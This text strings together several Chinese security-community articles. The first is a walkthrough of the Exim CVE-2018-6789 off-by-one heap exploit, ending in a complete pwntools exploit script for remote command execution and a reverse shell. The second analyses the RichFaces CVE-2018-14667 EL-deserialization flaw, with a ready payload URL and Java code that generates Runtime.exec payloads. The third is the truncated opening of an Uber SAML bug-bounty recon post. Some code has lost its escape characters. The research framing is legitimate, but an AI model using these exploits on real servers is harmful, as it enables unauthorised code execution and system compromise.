> cp /usr/share/zoneinfo/Asia/Shanghai /etc/localtime
### 配置文件内容
> acl_smtp_mail=acl_check_mail
> acl_smtp_data=acl_check_data
> begin acl
> acl_check_mail:
> .ifdef CHECK_MAIL_HELO_ISSUED
> deny
> message = no HELO given before MAIL command
> condition = ${if def:sender_helo_name {no}{yes}}
> .endif
> accept
> acl_check_data:
> accept
> begin authenticators
> fixed_cram:
> driver = cram_md5
> public_name = CRAM-MD5
> server_secret = ${if eq{$auth1}{ph10}{secret}fail}
> server_set_id = $auth1
### exim启动命令
./exim –bd –d-receive –C conf.conf
## 3 漏洞原理
Exim分配3*(len/4)+1字节空间存储base64解码后的数据。如果解码前数据有4n+3个字节，exim会分配3n+1字节空间，但实际解码后的数据有3n+2字节，导致在堆上溢出一个字节，属于经典的off-by-one漏洞。
## 4 exim内存管理
### 4.1 chunk结构
glibc在chunk开头使用0x10字节（x86-64）存储相关信息，包含前一个chunk的大小、当前chunk大小和标志位（相关基础知识自行查看Linux堆管理内容）。Size的前三位表示标志位，最后一位表示前一个chunk是否被使用。如下图0x81表示当前chunk大小是0x80字节，且前一个chunk正在被使用。
### 4.2 storeblock结构
exim在libc提供的堆管理机制的基础上实现了一套自己的管理堆块的方法，引入了storepool、storeblock的概念。store
pool是一个单链表结构，每一个节点都是一个storeblock，每个store
block的数据大小至少为0x2000。storeblock的结构包含在chunk中，在chunk的基础上多包含一个指向下一个storeblock的next指针和当前storeblock的大小，如下图所示。
### 4.3 storeblock的管理
下图展示了一个storepool的完整的数据存储方式，chainbase是头结点，指向第一个storeblock，current_block是尾节点，指向链表中的最后一个节点。store_last_get指向current_block中最后分配的空间，next_yield指向下一次要分配空间时的起始位置，yield_length则表示当前store_block中剩余的可分配字节数。当current_block中的剩余字节数（yield_length）小于请求分配的字节数时，会调用malloc分配一个新的storeblock块，然后从该storeblock中分配需要的空间。
### 4.4 堆分配函数及规则
在exim中使用的大部分已释放的chunk会被放入unsorted
bin双向链表（相关基础知识自行查看Linux堆管理内容）。glibc根据标识进行维护，维护中会将相邻且已释放的chunk合并成一个更大的chunk，避免碎片化。对于每个内存分配请求，glibc都会按照FIFO的顺序检查unsorted
bin里的chunk并重新使用。exim采用store_get()、store_release()、store_extend()和store_reset()维护自己的链表结构。
（1）EHLO
hostname：exim调用store_free()函数释放旧的hostname，调用store_malloc()函数存储新的hostname。
（2）unrecongnized command：exim调用store_get()函数分配一段内存将不可打印字符转换为可打印字符。
（3）AUTH：在多数身份验证中，exim采用base64编码与客户端通信，编码和解码的字符串存在store_get()函数分配的缓冲区。
（4）EHLO/HELO、MAIL、RCPT中的reset功能：当命令正确完成时，exim调用smtp_reset()，释放上一个命令之后所有由store_get()分配的storeblock。
## 5 漏洞复现
### 5.1 发送ehlo布局堆空间
ehlo(s, "a"*0x1000)
ehlo(s, "a"*0x20)
形成一个0x7040字节大小的unsorted bin。
此时的堆布局如下图所示。
### 5.2 发送unrecongnized command
docmd(s, "xee"*0x700)
从unsorted bin分配新的storeblock。发送的unrecongnized command的大小满足`length +
nonprintcount*3 + 1 > yield_length`，store_get函数就能调用malloc函数分配一个新的storeblock。
此时的堆布局如下图所示。
### 5.3 发送ehlo回收unrecongnized command分配的内存
ehlo(s, "c"*(0x2c00))
ehlo 0x2c00字节，回收unrecongnized
command分配的内存，空出0x2020个字节。在docker环境的调试中，有研究人员提到，由于之前的`ehlo(s,
"a"*0x20)`占用的0x30字节的内存释放，会空出0x30+0x2020=0x2050字节空间内存，但我的真实环境却不是这样。
如上图所示，之前`ehlo(s, "a"*0x20)`占用的0x30字节内存并未释放，只空出0x2020字节空间。此时的堆布局如下图所示。
### 5.4 发送auth，触发off-by-one漏洞，修改chunk大小
docmd(s, "AUTH CRAM-MD5")
payload1 = "d"*(0x2020-0x18-1)
docmd(s, b64encode(payload1)+"EfE")
`payload1 =
"d"*(0x2020-0x18-1)`这句代码跟docker环境中的代码不一样，少加了一个0x30，上一步中已经说明实际环境中`ehlo(s,
"a"*0x20)`占用的0x30字节内存并未释放。
此时的堆布局如下图所示。
从0x2c10被溢出为0x2cf1，下一个chunk应该从0x5656564ea050 + 0x2cf0 =
0x5656564ecd40开始，现在这里并没有chunk信息，下一步需要在这里伪造chunk信息。
### 5.5 发送auth，伪造chunk信息
docmd(s, "AUTH CRAM-MD5")
payload2 = p64(0x1f41)+'m'*0x70 # modify fake size
docmd(s, b64encode(payload2))
伪造chunk头。
此时的堆布局如下图所示。
### 5.6 释放被改掉大小的chunk
ehlo(s, "a+")
为了不释放其他的storeblock，发送包含无效字符的信息。
此时的堆布局如下图所示。
### 5.7 发送auth数据，修改storeblock的next指针，指向acl字符串所在的chunk
docmd(s, "AUTH CRAM-MD5")
acl_chunk = p64(0x5653564c1000+0x66f0) #acl_chunkr = &heap_base + 0x66f0
payload3 = 'a'*0x2bf0 + p64(0) + p64(0x2021) + acl_chunk
docmd(s, b64encode(payload3)) # fake chunk header and storeblock next
0x5653564c1000是exim运行时堆的基地址。
exim有一组全局指针指向ACL字符串。指针在exim启动时初始化，根据配置文件进行设置。配置文件中包含acl_smtp_mail=acl_check_mail，因此指针acl_smtp_mail始终指向acl_check_mail，只要碰到MAIL
FROM，exim就会执行acl检查。因此只要覆盖acl字符串为`${run{command}}`，exim便会调用execv执行command命令，实现远程命令执行，而且还能绕过PIE、NX等限制。通过`x
/18xg
&acl_smtp_mail`可以得到acl_check_mail字符串的地址，从而可以找到acl_check_mail所在chunk的地址（本例中为0x5653564c7778），我经过调试和计算，acl_check_mail字符串所在堆的地址也可以通过堆基地址加上0x66f0的偏移得到。
修改storeblock的next指针，指向acl字符串所在的chunk，本例中就是0x5653564c76f0。
此时的堆布局如下图所示。
### 5.8 释放storeblock，包含acl的storeblock被回收到unsorted bin中
ehlo(s, 'crashed')
此时，unsorted
bin中有两个大小为0x2020的chunk（0x5653564e8040、0x5653564ecc70），下一步就是先占用这两个0x2020字节大小的unsorted
bin，然后覆盖0x5653564c76f0这个chunk。
### 5.9 发送auth数据，覆盖acl_check_mail字符串
payload4 = 'a'*0x18 + p64(0xb1) + 't'*(0xb0-0x10) + p64(0xb0) + p64(0x1f40)
payload4 += 't'*(0x1f80-len(payload4))
auth(s, b64encode(payload4)+'ee')
占用第一个0x2020字节大小的chunk：0x5653564e8040。解释一下，这里也是用伪造chunk的方法，首先伪造一个0xb0大小的chunk，然后伪造一个0x1f40大小的chunk，这样来达到占用0x2020大小chunk的目的。
payload4 = 'a'*0x18 + p64(0xb1) + 't'*(0xb0-0x10) + p64(0xb0) + p64(0x1f40)
payload4 += 't'*(0x1f80-len(payload4))
auth(s, b64encode(payload4)+'AA')
占用第二个0x2020字节大小的chunk：0x5653564ecc70。
此时的堆布局就可以开始覆盖地址为0x5653564c76f0的chunk了。
payload5 = "a"*0x78 + "${run{" + command + "}}x00"
auth(s, b64encode(payload5)+"AA")
这里需要提一下就是，command命令长度是有限制的，否则会覆盖后面的日志文件路径字符串，导致exim进入其他错误处理流程而不调用execv函数执行command命令。
### 5.10 触发acl检查
s.sendline("MAIL FROM: <[email protected]>")
触发acl检查，执行/bin/bash命令，反弹shell，效果如下图所示。
这里需要说明的是反弹的shell不是root权限，而是用户exim权限。
## 6 总结与思考
该漏洞利用条件是比较苛刻的，exim的配置必须开启CRAM-MD5认证，其次exim的启动参数不同会造成堆布局不同，还有必须获取exim运行时堆的地址，才能准确覆盖acl字符串，docker环境中可以选择爆破，但真实环境中在不知道exim程序基地址的情况下采用爆破显然不大可取。如果大家有什么好的思路可以获取exim的堆地址，可以交流一下。
## 7 参考
<http://www.freebuf.com/vuls/166519.html>
<https://github.com/skysider/VulnPOC/tree/master/CVE-2018-6789>
<https://bbs.pediy.com/thread-225986.htm>
<https://devco.re/blog/2018/03/06/exim-off-by-one-RCE-exploiting-CVE-2018-6789-en/>
<https://paper.seebug.org/557/>
## 附EXP
#!/usr/bin/python
# -*- coding: utf-8 -*- from pwn import *
import time
from base64 import b64encode
def ehlo(tube, who):
time.sleep(0.2)
try:
tube.sendline("ehlo "+who)
tube.recvline()
except:
print("Error sending ehlo data")
def docmd(tube, command):
time.sleep(0.2)
try:
tube.sendline(command)
tube.recvline()
except:
print("Error sending docmd data")
def auth(tube, command):
time.sleep(0.2)
try:
tube.sendline("AUTH CRAM-MD5")
tube.recvline()
time.sleep(0.2)
tube.sendline(command)
tube.recvline()
except:
print("Error sending auth data")
def execute_command(acl_chunk, command):
context.log_level='warning'
s = remote(ip, 25)
# 1. put a huge chunk into unsorted bin
print("[+]1.send ehlo, make unsorted binn")
ehlo(s, "a"*0x1000) # 0x2020
ehlo(s, "a"*0x20)
raw_input("make unsorted bin: 0x7040n")
# 2. cut the first storeblock by unknown command
print("[+]2.send unknown commandn")
docmd(s, "xee"*0x700)
raw_input("""docmd(s, "xee"*0x700)n""")
# 3. cut the second storeblock and release the first one
print("[+]3.send ehlo again to cut storeblockn")
ehlo(s, "c"*(0x2c00))
raw_input("""ehlo(s, "c"*(0x2c00))n""")
# 4. send base64 data and trigger off-by-one
print("[+]4.overwrite one byte of next chunkn")
docmd(s, "AUTH CRAM-MD5")
payload1 = "d"*(0x2020-0x18-1)
docmd(s, b64encode(payload1)+"EfE")
raw_input("after payload1n")
# 5. forge chunk size
print("[+]5.forge chunk sizen")
docmd(s, "AUTH CRAM-MD5")
payload2 = p64(0x1f41)+'m'*0x70 # modify fake size
docmd(s, b64encode(payload2))
raw_input("modified fake sizen")
# 6. relase extended chunk
print("[+]6.resend ehlo, elase extended chunkn")
ehlo(s, "a+")
raw_input("ehlo(s, 'a+')")
# 7. overwrite next pointer of overlapped storeblock
print("[+]7.overwrite next pointer of overlapped storeblockn")
docmd(s, "AUTH CRAM-MD5")
raw_input("docmd(s, 'AUTH CRAM-MD5')n")
acl_chunk = p64(0x5653564c1000+0x66f0) #acl_chunk = &heap_base + 0x66f0
payload3 = 'a'*0x2bf0 + p64(0) + p64(0x2021) + acl_chunk
try:
docmd(s, b64encode(payload3)) # fake chunk header and storeblock next
raw_input("after payload3")
# 8. reset storeblocks and retrive the ACL storeblock
print("[+]8.reset storeblockn")
#ehlo(s, 'crashed') released
ehlo(s, 'crashed')
raw_input("ehlo(s, 'crashed')")
# 9. overwrite acl strings
print("[+]9.overwrite acl stringsn")
#Occupy the first 0x2020 chunk
payload4 = 'a'*0x18 + p64(0xb1) + 't'*(0xb0-0x10) + p64(0xb0) + p64(0x1f40)
payload4 += 't'*(0x1f80-len(payload4))
auth(s, b64encode(payload4)+'ee')
#Occupy the second 0x2020 chunk
payload4 = 'a'*0x18 + p64(0xb1) + 't'*(0xb0-0x10) + p64(0xb0) + p64(0x1f40)
payload4 += 't'*(0x1f80-len(payload4))
auth(s, b64encode(payload4)+'AA')
raw_input("after payload4")
#overwrite acl strings with shell payload
payload5 = "a"*0x78 + "${run{" + command + "}}x00"
auth(s, b64encode(payload5)+"AA")
raw_input("after payload5")
# 10. trigger acl check
print("[+]10.trigger acl check and execute commandn")
time.sleep(0.2)
s.sendline("MAIL FROM: <[email protected]>")
s.close()
return 1
except Exception, e:
print('Error:%s'%e)
s.close()
return 0
if __name__ == "__main__":
if len(sys.argv) > 0:
ip = '127.0.0.1'
acl_chunk = 0x0
execute_command(acl_chunk, command) | 社区文章 |
**poc在最后，没有耐心看的师傅自行提取**
### Issue
Red Hat Product Security has been made aware of a remote code execution flaw in the Java RichFaces framework. The issue has been assigned CVE-2018-14667 and a Critical security impact.
An application that uses certain features in RichFaces could permit an unauthenticated user to send a specially-crafted object that contains a tainted expression, the evaluation of which triggers deserialization after clearing any whitelist protections. This can result in execution of arbitrary java code or possibly system code.
### jsf介绍
JSF(JavaServer Faces)它是一个基于服务器端组件的用户界面框架、事件驱动的框架。 它用于开发Web应用程序。
它提供了一个定义良好的编程模型，由丰富的API和标签库组成。最新版本JSF
2使用Facelets作为其默认模板系统。支持依赖注入、支持html5、内置Ajax支持。
对比st2，jsf可以将事件响应细化到表单中的字段处理（st2中，一个表单只能对应一个事件）
### 触发流程（只取其中一个最简单的）
BaseFilter#doFilter
InternetResourceService#serviceResource
ResourceBuilderImpl#getResourceForKey
ObjectInputStream#readObject
UserResource#getLastModified
ValueExpression#getValue
### 分析过程
`Local_env：Tomcat8.5.24、jdk1.8.144、richfaces-demo-3.3.0.GA-tomcat6.war`
一个月前看apache的myfaces的时候，无意间就瞄到了richfaces的rce（RF-13977），看payload挺有意思的，不过没有细跟，正好这几天刚刚出了
cve-2018-14667 顺便学习下
这篇文章仅仅对触发流程和payload的构造进行阐述，不对el表达式的各种骚姿势做详细跟进。同时，为了文章阅读体验，我选择视角从Filter开始而不是官方描述中的UserResource这个地方开始
#### BaseFilter（入口）
这个filter是richfaces的基础filter，但是没有看见它显式的加入web.xml中，web.xml只是配置了jboss.SeamFilter，在动态调试中发现，SeamFilter调用了Ajax4jsfFilter，然后Ajax4jsfFilter又调用到了BaseFilter
BaseFilter的dofilter关键代码如下:
if条件不满足即可进入else if判断条件，其中会调用到InternetResourceService#serviceResource
#### InternetResourceService（漏洞核心处理逻辑）
跟进如下(只贴关键代码)：
public void serviceResource(String resourceKey, HttpServletRequest request,
HttpServletResponse response) throws ServletException, IOException {
InternetResource resource;// getInternetResource(request);
try {
resource = getResourceBuilder().getResourceForKey(resourceKey);
[...]
Object resourceDataForKey = getResourceBuilder().getResourceDataForKey(
resourceKey);
ResourceContext resourceContext = getResourceContext(resource, request,
response);
resourceContext.setResourceData(resourceDataForKey);
try {
if (resource.isCacheable(resourceContext) && this.cacheEnabled) {
// Test for client request modification time.
try {
long ifModifiedSince = request
.getDateHeader("If-Modified-Since");
if (ifModifiedSince >= 0) {
// Test for modification. 1000 ms due to round
// modification
// time to seconds.
long lastModified = resource.getLastModified(
resourceContext).getTime() - 1000;
[...]
long expired = resource.getExpired(resourceContext);
[...]
} else {
getLifecycle().send(resourceContext, resource);
[...]
先说明一下大致代码逻辑，resourceKey 是从url中获取的，具体的规则不在这里展示，可以从后文中的payload里看见。
利用resourceKey提取resouce、resourceDataForKey，然后将resourceDataForKey放入resource上下文中存储，在后续流程中，通过某些判断，调用了
resource.getLastModified、resource.getExpired以及ResourceLifecycle#send
这里先对
ResourceLifecycle#send做一个阐述，首先要进入else代码块中才能调用它，resource.isCacheable(resourceContext)、
this.cacheEnabled 这两个判断条件，前者是服务端自行设置的值，后者默认为true，换句话说，服务端可以控制
ResourceLifecycle#send 的调用情况，在后续的跟进中（这里就补贴代码了），发现最终会调用 resource.send
**理一下，InternetResourceService#serviceResource 通过服务端的控制，分别可以调用到
resource.getLastModified、resource.getExpired 还有 resource.send**
#### ResourceBuilderImpl（反序列化限制绕过）
上文中可以看到，resource和resourceDataForKey都是由 ResourceBuilderImpl 生成的，我们先不看
resource，先跟踪 resourceDataForKey 的生成过程，如下图：
由图中流程大致可以猜到，程序将url中的字符串进行一个截断取值，将满足一定条件的字符串解密后进行反序列化操作，但是经过操作的类是
LookAheadObjectInputStream，该类重写了 resolveClass ，对反序列化进行白名单处理，如下图
whitelistClassNameCache 中都是一些基础类，而whitelistBaseClasses是从 resource-serialization.properties 中加载的，只要满足反序列化的类是其子类即可正常反序列化，否则抛出错误
resource-serialization.properties 内容如下图：
官方通告描述中的 UserResource 恰好是 InternetResource 的子类，UserResource$UriData 也是
SerializableResource 的子类，所以满足反序列化的白名单限制
现在回过头看看解密过程，如下图：
图中流程是先进行 decode 然后再进行解压缩操作，最后返回，跟进 decode 看看
进行了一次base64解密，同时如果 d 不为空就进行DES解密，不过呢在 ResourceBuilderImpl中 Codec 中的 d 是为 null
的....也就是说解密流程只有 base64解密 -> zip解压缩。
此时此刻喜不自胜，总的来说反序列化是我们完全可控的内容，并且利用类 UserResource 也是在白名单中
#### ResourceBuilderImpl（服务器端生成资源，payload不可控？）
那么现在去看一下 resource 是如何生成的，如下图：
对传入的url进行一个截断取值，带入getResource函数中，跟进如下：
从一个map中根据key值获取得到的 resource，那么看下哪些地方有填充map的
一眼就看见了 userResource ，跟过去看看
如上图，首先根据生成的path去获取userResource，获取不到的话就new一个，然后放入resources Map 中，在回溯这个
createUserResource 函数调用点的时候发现只有一个地方，在 MediaOutputRenderer#doEncodeBegin
大致浏览了下 MedaiOutputRenderer
中的逻辑，发现是对jsf的事件处理：对jsf标签的解析后的输出处理流程，可以将用户自定义类型进行一个解析并展示，在demo中可以找到使用方法
带有 jsf 标签界面文件源码如下：
<ui:composition xmlns="http://www.w3.org/1999/xhtml"
xmlns:ui="http://java.sun.com/jsf/facelets"
xmlns:h="http://java.sun.com/jsf/html"
xmlns:f="http://java.sun.com/jsf/core"
xmlns:a4j="http://richfaces.org/a4j"
xmlns:rich="http://richfaces.org/rich">
<br/>
<a4j:mediaOutput element="img" cacheable="false" session="true"
createContent="#{mediaBean.paint}" value="#{mediaData}" mimeType="image/jpeg" />
<br/><br/>
</ui:composition>
Java代码如下：
public class MediaBean {
public void paint(OutputStream out, Object data) throws IOException{
if (data instanceof MediaData) {
MediaData paintData = (MediaData) data;
BufferedImage img = new BufferedImage(paintData.getWidth(),paintData.getHeight(),BufferedImage.TYPE_INT_RGB);
Graphics2D graphics2D = img.createGraphics();
graphics2D.setBackground(paintData.getBackground());
graphics2D.setColor(paintData.getDrawColor());
graphics2D.clearRect(0,0,paintData.getWidth(),paintData.getHeight());
graphics2D.drawLine(5,5,paintData.getWidth()-5,paintData.getHeight()-5);
graphics2D.drawChars(new String("RichFaces").toCharArray(),0,9,40,15);
graphics2D.drawChars(new String("mediaOutput").toCharArray(),0,11,5,45);
ImageIO.write(img,"jpeg",out);
}
}
}
public class MediaData implements Serializable{
private static final long serialVersionUID = 1L;
Integer Width=110;
Integer Height=50;
Color Background=new Color(0,0,0);
Color DrawColor=new Color(255,255,255);
public MediaData() {}
public Color getBackground() { return Background; }
public void setBackground(Color background) { Background = background; }
public Color getDrawColor() { return DrawColor; }
public void setDrawColor(Color drawColor) { DrawColor = drawColor; }
public Integer getHeight() { return Height; }
public void setHeight(Integer height) { Height = height; }
public Integer getWidth() { return Width; }
public void setWidth(Integer width) { Width = width; }
}
简单来说就是可以把用java代码实现的多媒体通过 `<a4j:mediaOutput />` 这个标签进行自动填充到页面中，可以看见
createContent 和 value 都是 el 表达式构成
到这里，仔细想想那不是凉凉？？
首先这个 userResource 是服务器自动生成的，解析 el 表达式内容也是通过服务端的自定义的 mediaOutput
标签内容决定的，难道要上服务器去修改 mediaOutput 标签中的表达式，然后再去访问该页面才能触发漏洞吗，答案是否定的
#### MediaOutputRenderer（获取payload的第一步：path）
因为前文中发现了只要知道一个服务端 userResource 的对应 path 就能获取到一个 userResource
资源实例，后续中我们可以通过URL控制反序列化的内容。
path 的生成过程如下：
但是问题又来了，mime 是前文中 mediaOutput 标签中的 mimeType 字段指定的值，我又不晓得服务器里是指定的啥.....难道
path似乎需要爆破才能得到？答案也是否定的
仔细看 MediaOutputRenderer#doEncodeBegin 的处理流程，如下：
注意标注部分，首先创建了 userResource，然后调用了 getUri ，将其返回字符串设置进了 ResponseWriter
中，那么页面上应该是可以拿到这么一个 URL 的，不过我们还是先看看 getUri 的处理流程
调用到了 UserResource 的 getDataToStore ，跟进去先看看
大致流程就是将 MediaOutputRenderer#doEncodeBegin 中的 component
参数（是由标签中的字段解析得到）中的一些设定值，提取出来，赋值到新建的 UriData 对象中，然后将此对象返回
那么继续跟进 ResourceBuilderImpl#getUri ，如下（关键代码）：
public String getUri(InternetResource resource, FacesContext context,
Object storeData) {
StringBuffer uri = new StringBuffer();// ResourceServlet.DEFAULT_SERVLET_PATH).append("/");
uri.append(resource.getKey());
// append serialized data as Base-64 encoded request string.
if (storeData != null) {
try {
byte[] objectData;
if (storeData instanceof byte[]) {
objectData = (byte[]) storeData;
uri.append(DATA_BYTES_SEPARATOR);
} else {
ByteArrayOutputStream dataSteram = new ByteArrayOutputStream(
1024);
ObjectOutputStream objStream = new ObjectOutputStream(
dataSteram);
objStream.writeObject(storeData);
objStream.flush();
objStream.close();
dataSteram.close();
objectData = dataSteram.toByteArray();
uri.append(DATA_SEPARATOR);
}
byte[] dataArray = encrypt(objectData);
uri.append(new String(dataArray, "ISO-8859-1"));
[...]
}
boolean isGlobal = !resource.isSessionAware();
String resourceURL = getWebXml(context).getFacesResourceURL(context,
uri.toString(), isGlobal);// context.getApplication().getViewHandler().getResourceURL(context,uri.toString());
[...]
return resourceURL;// context.getExternalContext().encodeResourceURL(resourceURL);
}
可以看见这个 storeData 其实就是我们的 UriData 对象，将其序列化后经过encrypt加入了返回的 resourceURL
中，这个就是我们的 payload 雏形
在浏览器里可以拿到 resourceURL 的值，如下：
这样，只要有 mediaOutput 的标签，总是会返回一个 src ，其值就是服务端已经序列化好的多媒体数据，我们仅仅需要 `/DATA/`
的前半段就好，后半段由我们自己构造
#### UserResource（java反序列化 + EL = RCE）
到目前为止，我们仅仅知道，一个请求过去以后，会执行 resource.getLastModified、resource.getExpired 还有
resource.send，期间反序列化的数据我们也是可控的，那么怎么利用呢，现在开始进入触发点 UserResource
以上三个函数：getLastModified、getExpired、send 只需要挑其中一个看就好，流程大致相似
查看 getExpired 代码如下：
先调用 restoreData 返回一个 UriData 对象，将其 expires 成员经过一定处理后进行 el 表达式解析，跟踪一下 UriData
对象如何获取的，如下图：
上图中的 deserializeData 返回的还是 objectArray 本身，就不贴图了，主要看 getResourceData
赋值就是由 setResourceData 操作的，它就是在前文中提到的 InternetResourceService#serviceResource
中由 resourceDataForKey放入resource上下文中存储的值
至此，触发流程已经全部理清
### 效果
首先将发送给服务器的 UserRessource 请求拦截，然后换上我们自己的poc
发包，结果如下：
### 总结
上文中提到的 resource.isCacheable(resourceContext) 的返回值，是由 mediaOutput 中的 cacheable
字段设置，如果为 ture 会触发 getLastModified、getExpired，如果为 false 会触发
getLastModified、send
首先，服务器会根据其web程序中含有的脚本中的 mediaOutput 标签进行解析，创建出 UserResource
实例，并且配置一个path做一个map映射，最终path会返回给前端进行多媒体的展示
我们从前端拿到 path 后，自行构造 `/DATA/` 后面的反序列化内容
服务器拿到我们提交的 url 后，会将反序列化内容转换成 UriData 对象，并最终调用 UserResource 中的
getLastModified、getExpired、send 函数，这三个函数中，都对 UriData 中的数据进行提取，然后执行 EL
表达式解析操作，最终造成 RCE
**由此可见，只要是使用了 richfaces 3.x-3.3.4 依赖，并且使用了其 mediaOutput 标签的程序，都可以RCE**
不过稍微有一点限制的就是，javax.el.MethodExpression 的 serialVersionUID
问题，因为它自身没有给一个确定的值，所以在不同的容器中凸显的值就不一样，我借用了 RF-13977 中的 tomcat 对应的
serialVersionUID 。不过这个问题也是可以解决的，在触发流程分析过程中，getLastModified 这个触发点是稳定触发的，它也不需要
MethodExpression ，仅仅保留POC中的 modified 的生成过程就好了
### POC
/DATA/eAHFlc9PE0EUx4cqyg9!oBARjUldjRRjZsHgAbEJCRo1KZJQQIWDmW5f26mzP5idbTcSFA9evBhEb968wsmzEY3xYOKFv0APxhhjQky8GmdmSyuNeuDSnmZ3337fe5!v29eV76jZ5-i0y!OYFEk4WPRzmIPvBtwCPOUDn6hcnJzi9CIRBKlf57lvMbQzhfZaHIiAUdcR4AiBDqaKpERMRpy8OZ4pgiWGU2g3hB6VmnPoLmpKoRbbzdIchWzlurlEWAD6IvRkLaeURIhzxAIfW67tuY7UxmkhE11xWRZ4mpSA33z!Irn87MNYDMVSqNVixPevERu21pAWnDp5WUObL9!Jag2BDkVVUtdMA6eE0Tskw2A49FT6XpkS-4GjC2AgfAwMT5L8GIiCm70UerITn7qO5oBQ0x6EQo56oqJlaH3cXKq7febRp42YjuusxtWUnj94mP4xs35BRagKhpQZnFqFCEFAMfE8Ri0iZNqIQ32S61yGAMeJp!fPr0x81ky6MsSHyIRaLoGO6OZDE5g5rcDXnklMuzzCtZFHa1H1uYZD5VWLLDSuCi1mXF8zqlO7antsaHWh7cay6I0YHa72Xhdabluc!bj2a0kBUNqt5SeofGKew1wAvsB5EKPK3kRf9ZhyiZwDeYPJQ!TQUOpYTR6eCBxBbTB0fFR-wpAqtfvUKbm3IeEEjPVhCMFKGBZhltG38B8nPS-UTR!f0nQ9HNV1ZqP7Z!vrA2Oqa42qPN-4dlDAUeesdjOCU!kkVtenv3w9Nn9ZD52c5ZhAXZogdfF4ILxAyEAgtkAdNbDRNEkO5XforVkdUdOGLCXRWyaERDIA3yx6kE!rMw4Lwmbxkf4z!fGRgYGzA4NJY8viSDbIbCPUS2mHXjv!-O7rZvXPz16Z26EV9peX0L0GNRGHaL2ifdqoQFCG5aIGZdMbtLY9mwpyXd7KBU7SqKg33iJFu6dC-zFabBTtzX-vv-F-hV5uD3cx8EXS2JRuHGuBWpTzk3Lt!gZHm9YF.jsf
poc生成代码
import com.sun.facelets.el.TagMethodExpression;
import com.sun.facelets.el.TagValueExpression;
import com.sun.facelets.tag.Location;
import com.sun.facelets.tag.TagAttribute;
import org.ajax4jsf.resource.UserResource;
import org.ajax4jsf.util.base64.URL64Codec;
import org.jboss.el.MethodExpressionImpl;
import org.jboss.el.ValueExpressionImpl;
import org.jboss.el.parser.*;
import org.jboss.seam.core.Expressions;
import org.richfaces.ui.application.StateMethodExpressionWrapper;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.Date;
import java.util.zip.Deflater;
import javax.el.MethodExpression;
import javax.faces.context.FacesContext;
public class Main {
public static void main(String[] args) throws Exception{
String pocEL = "#{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"calc\")}";
// tomcat8.5.24 MethodExpression serialVersionUID
Long MethodExpressionSerialVersionUID = 8163925562047324656L;
Class clazz = Class.forName("javax.el.MethodExpression");
Field field = clazz.getField("serialVersionUID");
field.setAccessible(true);
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
field.setLong(null, MethodExpressionSerialVersionUID);
// createContent
MethodExpressionImpl mei = new MethodExpressionImpl(pocEL, null, null, null, null, new Class[]{OutputStream.class, Object.class});
ValueExpressionImpl vei = new ValueExpressionImpl(pocEL, null, null, null, MethodExpression.class);
StateMethodExpressionWrapper smew = new StateMethodExpressionWrapper(mei, vei);
Location location = new Location("/richfaces/mediaOutput/examples/jpegSample.xhtml", 0, 0);
TagAttribute tagAttribute = new TagAttribute(location, "", "", "@11214", "createContent="+pocEL);
TagMethodExpression tagMethodExpression = new TagMethodExpression(tagAttribute, smew);
Class cls = Class.forName("javax.faces.component.StateHolderSaver");
Constructor ct = cls.getDeclaredConstructor(FacesContext.class, Object.class);
ct.setAccessible(true);
Object createContnet = ct.newInstance(null, tagMethodExpression);
//value
Object value = "haveTest";
//modified
TagAttribute tag = new TagAttribute(location, "", "", "just", "modified="+pocEL);
ValueExpressionImpl ve = new ValueExpressionImpl(pocEL+" modified", null, null, null, Date.class);
TagValueExpression tagValueExpression = new TagValueExpression(tag, ve);
Object modified = ct.newInstance(null, tagValueExpression);
//expires
TagAttribute tag2 = new TagAttribute(location, "", "", "have_fun", "expires="+pocEL);
ValueExpressionImpl ve2 = new ValueExpressionImpl(pocEL+" expires", null, null, null, Date.class);
TagValueExpression tagValueExpression2 = new TagValueExpression(tag2, ve2);
Object expires = ct.newInstance(null, tagValueExpression2);
//payload object
UserResource.UriData uriData = new UserResource.UriData();
//Constructor con = UserResource.class.getConstructor(new Class[]{});
Field fieldCreateContent = uriData.getClass().getDeclaredField("createContent");
fieldCreateContent.setAccessible(true);
fieldCreateContent.set(uriData, createContnet);
Field fieldValue = uriData.getClass().getDeclaredField("value");
fieldValue.setAccessible(true);
fieldValue.set(uriData, value);
Field fieldModefied = uriData.getClass().getDeclaredField("modified");
fieldModefied.setAccessible(true);
fieldModefied.set(uriData, modified);
Field fieldExpires = uriData.getClass().getDeclaredField("expires");
fieldExpires.setAccessible(true);
fieldExpires.set(uriData, expires);
//encrypt
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(uriData);
objectOutputStream.flush();
objectOutputStream.close();
byteArrayOutputStream.close();
byte[] pocData = byteArrayOutputStream.toByteArray();
Deflater compressor = new Deflater(1);
byte[] compressed = new byte[pocData.length + 100];
compressor.setInput(pocData);
compressor.finish();
int totalOut = compressor.deflate(compressed);
byte[] zipsrc = new byte[totalOut];
System.arraycopy(compressed, 0, zipsrc, 0, totalOut);
compressor.end();
byte[] dataArray = URL64Codec.encodeBase64(zipsrc);
String poc = "/DATA/" + new String(dataArray, "ISO-8859-1") + ".jsf";
System.out.println(poc);
}
}
Referer:
<https://www.secpulse.com/archives/75882.html>
<https://issues.jboss.org/browse/RF-13977> | 社区文章 |
## 前言
你好，我们又见面了，这是我的第一篇bug bounty文章，我一般不会单纯为了赏金去查找bug，特别是web bug
bounties，但最近我对它非常感兴趣，所以我决定去查找UBER中的bug。
## 声明
在开始之前，如果您还不熟悉这个主题，我强烈建议您阅读有关SAML认证的文章，否则，您将很难理解这个bug。
你可以在这里阅读关于SAML的内容(<https://developers.onelogin.com/saml>)
## 信息收集
我开始收集相关资料，并且我注意到他们的内部系统都在此范围内（uberinternal.com的子域名），所以我开始执行子域名枚举，为此，我使用了`aquatone`，它发现了许多域名，并且收集了一些域名的截图。
需要注意的一点是，大多数内部域名都重定向到`uber.onelogin.com`进行身份验证。
